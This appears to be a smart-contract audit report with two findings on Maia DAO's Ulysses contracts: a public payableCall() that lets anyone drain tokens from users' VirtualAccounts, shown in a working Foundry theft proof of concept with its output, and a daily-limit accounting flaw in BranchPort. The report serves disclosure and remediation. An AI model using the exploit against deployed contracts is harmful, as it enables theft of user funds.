Maia DAO - Ulysses - NoTechBG's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85

Vulnerability details

Every user has a VirtualAccount in the root environment in this protocol. User assets are stored in this account when the user deposits from branch chains. All of the crucial functions in the VirtualAccount contract has requiresApprovedCaller modifier except the payableCall() function, which is public. An attacker can initiate a call and force the user's VirtualAccount to transfer its funds to the attacker.

Here is the payableCall() function:
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85

    /// @inheritdoc IVirtualAccount
    function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) { //@audit - it is public.
        uint256 valAccumulator;
        uint256 length = calls.length;
        returnData = new bytes[](length);
        PayableCall calldata _call;
        for (uint256 i = 0; i < length;) {
            _call = calls[i];
            uint256 val = _call.value;
            // Humanity will be a Type V Kardashev Civilization before this overflows - andreas
            // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256
            unchecked {
                valAccumulator += val;
            }

            bool success;

 -->        if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData); //@audit - We can call the contract address globalToken. msg.sender will be address(this)

            if (!success) revert CallFailed();

            unchecked {
                ++i;
            }
        }

        // Finally, make sure the msg.value = SUM(call[0...i].value)
        if (msg.value != valAccumulator) revert CallFailed();
    }

This function makes a call to the target address with the provided callData. Because of this call is made from the VirtualAccount to the target, the msg.sender of the call will be the VirtualAccount.

If the target is the contract address of an asset in the virtual account, any function including the transfer() function can be called without reverting because the owner of the asset and the msg.sender are both VirtualAccount. Therefore any asset in the VirtualAccount can be transferred to the attacker with the correct callData.

Impact

Anyone can steal any token from VirtualAccounts.

Proof of Concept

Links to Vulnerable Code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L84C1-L112C6

Coded PoC

You can use the protocol's test suite to prove this issue. First, you need to add these lines to ImportHelper.sol file in the test/ulysses-omnichain/helpers folder.

import {ERC20} from "solmate/tokens/ERC20.sol";
import {IVirtualAccount} from "@omni/interfaces/IVirtualAccount.sol";
import {VirtualAccount, PayableCall} from "@omni/VirtualAccount.sol";

Then,
- Copy and paste the code snippet below to the MulticallRootRouterTest.t.sol file.
- Run with forge test --match-test testStealAnything_From_VirtualAccount_With_payableCall

    function testStealAnything_From_VirtualAccount_With_payableCall() public {
        // Create accounts
        address victim = address(bytes20(bytes32("victim")));
        address attacker = address(bytes20(bytes32("attacker")));

        VirtualAccount victimAccount = rootPort.fetchVirtualAccount(victim);
        VirtualAccount attackerAccount = rootPort.fetchVirtualAccount(attacker);

        // First of all, fund the victim's virtual account, and check balances.
        hevm.startPrank(address(rootPort));
        ERC20hTokenRoot(avaxGlobalToken).mint(address(victimAccount), 10 ether, avaxChainId);
        hevm.stopPrank();
        // Victim has 10 ether token balance and attacker has 0 balance in their virtual accounts.
        assertEq(ERC20hTokenRoot(avaxGlobalToken).balanceOf(address(victimAccount)), 10 ether);
        assertEq(ERC20hTokenRoot(avaxGlobalToken).balanceOf(address(attackerAccount)), 0);

        // Create calldata for payableCall
        PayableCall[] memory attackCall = new PayableCall[](1);        
        attackCall[0] = PayableCall({
                // Target address is the global token contract address, which is ERC20 compatible
                target: avaxGlobalToken,
                // We will call the transfer function in this address 
                callData: abi.encodeWithSelector(ERC20.transfer.selector, address(attackerAccount), 10 ether),
                value: 0
            });
        
        // Call the victim's virtual account with payableCall function
        hevm.startPrank(attacker);
        VirtualAccount(victimAccount).payableCall(attackCall);

        // Check balances again. Now victim has 0 and attacker took all of them.
        assertEq(ERC20hTokenRoot(avaxGlobalToken).balanceOf(address(victimAccount)), 0);
        assertEq(ERC20hTokenRoot(avaxGlobalToken).balanceOf(address(attackerAccount)), 10 ether);
    }

Below, you can see the test result:

Running 1 test for test/ulysses-omnichain/MulticallRootRouterTest.t.sol:MulticallRootRouterTest
[PASS] testStealAnything_From_VirtualAccount_With_payableCall() (gas: 1719408)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 17.66ms

Tools Used

Manuel review, Foundry

Recommended Mitigation Steps

Consider adding requiresApprovedCaller modifier to the VirtualAccount::payableCall() too.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchPort.sol#L167 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchPort.sol#L188

Vulnerability details

Impact

The funds can't be utilized even if they're free to be.

Proof of Concept

BranchPort contracts are used to keep user funds. They also have the idea of earning yields with some added strategies.

To add a strategy feature to the contract, the address should have an underlying token which should be added as a strategy token by the owner.

Once it's added as a strategy token also by calling addPortStrategy and the _minimumReservesRatio is set, the tokens can be transferred to the strategy contract with manage function.

addPortStrategy sets the crucial features of the strategy associated with the token.

Contract: BranchPort.sol

382:     function addPortStrategy(address _portStrategy, address _token, uint256 _dailyManagementLimit)
383:         external
384:         override 
385:         requiresCoreRouter
386:     {
387:         if (!isStrategyToken[_token]) revert UnrecognizedStrategyToken();
388:         portStrategies.push(_portStrategy);
389:         strategyDailyLimitAmount[_portStrategy][_token] = _dailyManagementLimit;
390:         isPortStrategy[_portStrategy][_token] = true;
391: 
392:         emit PortStrategyAdded(_portStrategy, _token, _dailyManagementLimit);
393:     }

It sets strategyDailyLimitAmount : The amount that the strategy can withdraw the strategy token from the BranchPort contract in 24 hrs.

When the manage function is called successfully, it will create a debt to the BranchPort contract as per the transferred amount. And due to the nature of the contract, more funds can be sent to the strategy provided that _excessReserves and _checkTimeLimit checks suffice.

Here's the whole manage function logic;

Contract: BranchPort.sol

144:     function manage(address _token, uint256 _amount) external override requiresPortStrategy(_token) {
145:         // Cache Strategy Token Global Debt
146:         uint256 _strategyTokenDebt = getStrategyTokenDebt[_token];
147: 
148:         // Check if request would surpass the tokens minimum reserves
149:         if (_amount > _excessReserves(_strategyTokenDebt, _token)) revert InsufficientReserves();
150: 
151:         // Check if request would surpass the Port Strategy's daily limit
152:         _checkTimeLimit(_token, _amount);
153: 
154:         // Update Strategy Token Global Debt
155:         getStrategyTokenDebt[_token] = _strategyTokenDebt + _amount;
156:         // Update Port Strategy Token Debt
157:         getPortStrategyTokenDebt[msg.sender][_token] += _amount;
158: 
159:         // Transfer tokens to Port Strategy for management
160:         _token.safeTransfer(msg.sender, _amount);
161: 
162:         // Emit DebtCreated event
163:         emit DebtCreated(msg.sender, _token, _amount);
164:     }

As can be seen on Line:155 and Line:157, the transferred amount is recorded as a debt to be paid later by the approved address.

The repaying is called as replenishing reserves and is implemented by replenishReserves functions. While both replenishReserves functions (1,2) serve the same, both have a common requirement to ensure the debt is paid.

Contract: BranchPort.sol

167:     function replenishReserves(address _token, uint256 _amount) external override lock {
168:         // Update Port Strategy Token Debt. Will underflow if not enough debt to repay.
169:         getPortStrategyTokenDebt[msg.sender][_token] -= _amount;
170: 
171:         // Update Strategy Token Global Debt. Will underflow if not enough debt to repay.
172:         getStrategyTokenDebt[_token] -= _amount;
173: 
174:         // Get current balance of _token
175:         uint256 currBalance = ERC20(_token).balanceOf(address(this));
176: 
177:         // Withdraw tokens from startegy
178:         IPortStrategy(msg.sender).withdraw(address(this), _token, _amount);
179: 
180:         // Check if _token balance has increased by _amount
181:         require(ERC20(_token).balanceOf(address(this)) - currBalance == _amount, "Port Strategy Withdraw Failed");
182: 
183:         // Emit DebtRepaid event
184:         emit DebtRepaid(msg.sender, _token, _amount);
185:     }

But the function logic lacks one feature which the opposite was implemented in the manage function. As stated before, manage incurs debt once the transfer is handled from BranchPort to the strategy address and it's registered in getStrategyTokenDebt and getPortStrategyTokenDebt. Also, the strategyDailyLimitRemaining amount is updated inside the _checkTimeLimit function.

However, strategyDailyLimitRemaining is not being updated when the replenishReserves is called. Even if the full debt is paid, the owners must wait for the time limit to reset the strategyDailyLimitAmount to default.

While there are no funds at risk, we assess this as an inconsistent business logic and submit it as a Medium.

Tools Used

Manual Review

Recommended Mitigation Steps

We recommend updating the strategyDailyLimitRemaining once the debt is paid as per amount.

Assessed type

Context